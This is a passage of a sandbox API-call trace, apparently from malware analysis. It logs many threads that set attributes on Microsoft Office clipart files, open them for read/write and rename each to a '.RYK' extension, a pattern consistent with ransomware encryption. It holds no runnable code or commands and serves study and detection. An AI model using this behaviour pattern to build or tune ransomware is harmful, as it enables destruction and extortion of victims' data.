	[0237.542] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099184.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099184.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1762
	os_tid = 0x2170

	[0237.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG", dwFileAttributes=0x80) returned 0
	[0237.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.543] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.543] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099185.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099185.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1763
	os_tid = 0x2174

	[0237.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG", dwFileAttributes=0x80) returned 0
	[0237.365] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.544] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.544] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099186.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099186.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1764
	os_tid = 0x2178

	[0237.035] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG", dwFileAttributes=0x80) returned 0
	[0237.364] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.546] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.546] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099187.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099187.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1765
	os_tid = 0x217c

	[0237.168] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG", dwFileAttributes=0x80) returned 0
	[0237.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.575] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.575] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099188.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099188.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1767
	os_tid = 0x2188

	[0237.169] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG", dwFileAttributes=0x80) returned 0
	[0237.269] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.574] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.574] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099189.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099189.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1768
	os_tid = 0x218c

	[0237.170] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG", dwFileAttributes=0x80) returned 0
	[0237.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.572] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.572] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099190.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099190.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1769
	os_tid = 0x2190

	[0237.171] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG", dwFileAttributes=0x80) returned 0
	[0237.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.570] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.570] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099191.JPG.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099191.jpg.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1770
	os_tid = 0x2194

	[0237.172] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF", dwFileAttributes=0x80) returned 0
	[0237.270] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.568] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.568] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099192.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099192.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1771
	os_tid = 0x2198

	[0237.173] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF", dwFileAttributes=0x80) returned 0
	[0237.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.566] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.566] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099193.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099193.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1772
	os_tid = 0x219c

	[0237.174] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF", dwFileAttributes=0x80) returned 0
	[0237.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.565] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.565] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099194.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099194.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1773
	os_tid = 0x21a0

	[0237.175] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF", dwFileAttributes=0x80) returned 0
	[0237.271] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.564] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.564] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099195.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099195.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1774
	os_tid = 0x21a4

	[0237.176] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF", dwFileAttributes=0x80) returned 0
	[0237.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.562] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.563] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099196.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099196.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1775
	os_tid = 0x21a8

	[0237.178] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF", dwFileAttributes=0x80) returned 0
	[0237.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.561] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.561] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099197.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099197.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1776
	os_tid = 0x21ac

	[0237.179] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF", dwFileAttributes=0x80) returned 0
	[0237.272] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.560] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.560] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099198.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099198.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1777
	os_tid = 0x21b0

	[0237.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF", dwFileAttributes=0x80) returned 0
	[0237.559] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.559] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.559] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099199.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099199.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1778
	os_tid = 0x21b4

	[0237.274] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF", dwFileAttributes=0x80) returned 0
	[0237.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.702] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.703] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099200.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099200.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1779
	os_tid = 0x21b8

	[0237.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF", dwFileAttributes=0x80) returned 0
	[0237.702] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.867] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.867] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099201.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099201.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1780
	os_tid = 0x21bc

	[0237.275] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF", dwFileAttributes=0x80) returned 0
	[0237.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.868] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.868] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099202.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099202.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1781
	os_tid = 0x21c0

	[0237.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF", dwFileAttributes=0x80) returned 0
	[0237.701] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.869] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.870] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099203.GIF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099203.gif.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1782
	os_tid = 0x21c4

	[0237.276] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF", dwFileAttributes=0x80) returned 0
	[0237.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.871] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.871] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099204.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099204.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1783
	os_tid = 0x21c8

	[0237.277] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF", dwFileAttributes=0x80) returned 0
	[0237.554] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.554] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.554] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0099205.WMF.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0099205.wmf.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1784
	os_tid = 0x21cc

	[0237.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP", dwFileAttributes=0x80) returned 0
	[0237.700] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.872] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.872] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101856.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101856.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1785
	os_tid = 0x21d0

	[0237.278] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP", dwFileAttributes=0x80) returned 0
	[0237.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.873] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.873] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101857.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101857.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1786
	os_tid = 0x21d4

	[0237.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP", dwFileAttributes=0x80) returned 0
	[0237.699] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.874] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.874] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101858.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101858.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1787
	os_tid = 0x21d8

	[0237.279] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP", dwFileAttributes=0x80) returned 0
	[0237.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.875] CloseHandle (hObject=0xffffffffffffffff) returned 0
	[0237.876] MoveFileExW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101859.BMP.RYK" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101859.bmp.ryk"), dwFlags=0x8) returned 0

Thread:
	id = 1788
	os_tid = 0x21dc

	[0237.280] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP", dwFileAttributes=0x80) returned 0
	[0237.698] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0101860.BMP" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0101860.bmp"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffffffffffff
	[0237.877] CloseHandle (hObject=0xffffffffffffffff) returned 0
